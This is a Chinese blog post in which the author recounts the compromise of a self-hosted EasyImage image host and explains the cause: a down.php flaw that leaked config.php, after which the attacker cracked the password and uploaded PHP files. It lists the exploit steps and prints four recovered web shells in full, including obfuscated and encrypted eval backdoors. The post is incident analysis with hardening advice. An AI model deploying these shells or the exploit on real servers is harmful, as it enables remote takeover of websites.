寺明/

EasyImage图床被渗透

今天准备把博客图片迁移,结果打开之前部署的php 简单图床,发现网站首页被篡改,吓我一跳。

1-1

为了防止图片被植入危险代码,先查宝塔的备份,下载最早时刻的备份文件,以下是最新的目录结构。

wwwroot
│  .htaccess
│  favicon.ico
│  *index.html
│  *index.php.123
│  robots.txt
│  SECURITY.md
│  *utf8.html
│
└─i
        .htaccess
        *1.php
        *20230426054659.php
        *bx.php
        *gsl.php

Nginx日志显示新文件于4月26号下午6点左右被上传

原理是利用图床程序/Application/down.php漏洞下载config.php文件后破解md5得到密码,进入后台上传木马php。

经查,Github上已有用户提出关于此漏洞的Issue

总体来说是一个比较低级的疏忽,总结以下六方面忠告:程序及时升级,php禁用危险函数,完善鉴权体系,对用户提交的数据做无害化处理,备份、日志,设置强密码。

这是该漏洞的具体利用方法:

curl http://mydomain/application/down.php?dw=./config/config.php
GetPwdMd5
Crackit
Login
'extensions'=>'gif,jpeg,png,tif,bmp,tif,svg,webp,jpg,tga,svg,ico,php,jsp'
UploadPHP

四个后门代码

1.php

<?php assert($_POST['a']);?> 

gsl.php

<?php
eval($_POST["pass"]);

20230426054659.php

<? php class GcHN18v4 { /*F7R164*/
    function __construct($x) {
        $c = str_rot13('ffreg'); /*F7R164*/
        $a = ("!" ^ "@").$c; /*F7R164*/
        $a($x);
    }
}
new GcHN18v4($_REQUEST['a']); ?>

bx.php

<? php@ error_reporting(0);
session_start();
$key = "0cc175b9c0f1b6a8";
$_SESSION['k'] = $key;
$f = 'file'.
'_get'.
'_contents';
$p = '|||||||||||' ^ chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);
$HLu96 = $f($p);
if (!extension_loaded('openssl')) {
    $t = preg_filter('/\s+/', '', 'base 64 _ deco de');
    $HLu96 = $t($HLu96.
        "");
    for ($i = 0; $i < strlen($HLu96); $i++) {
        $new_key = $key[$i + 1 & 15];
        $HLu96[$i] = $HLu96[$i] ^ $new_key;
    }
} else {
    $HLu96 = openssl_decrypt($HLu96, "AES128", $key);
}
$arr = explode('|', $HLu96);
$func = $arr[0];
$params = $arr[1];
class G2X3loiX {
    public
    function __invoke($p) {@
        eval("/*Z1e6758ucG*/".$p.
            "");
    }
}@
call_user_func /*Z1e6758ucG*/ (new G2X3loiX(), $params); ?>

——到此为止——

留下一条评论

暂无评论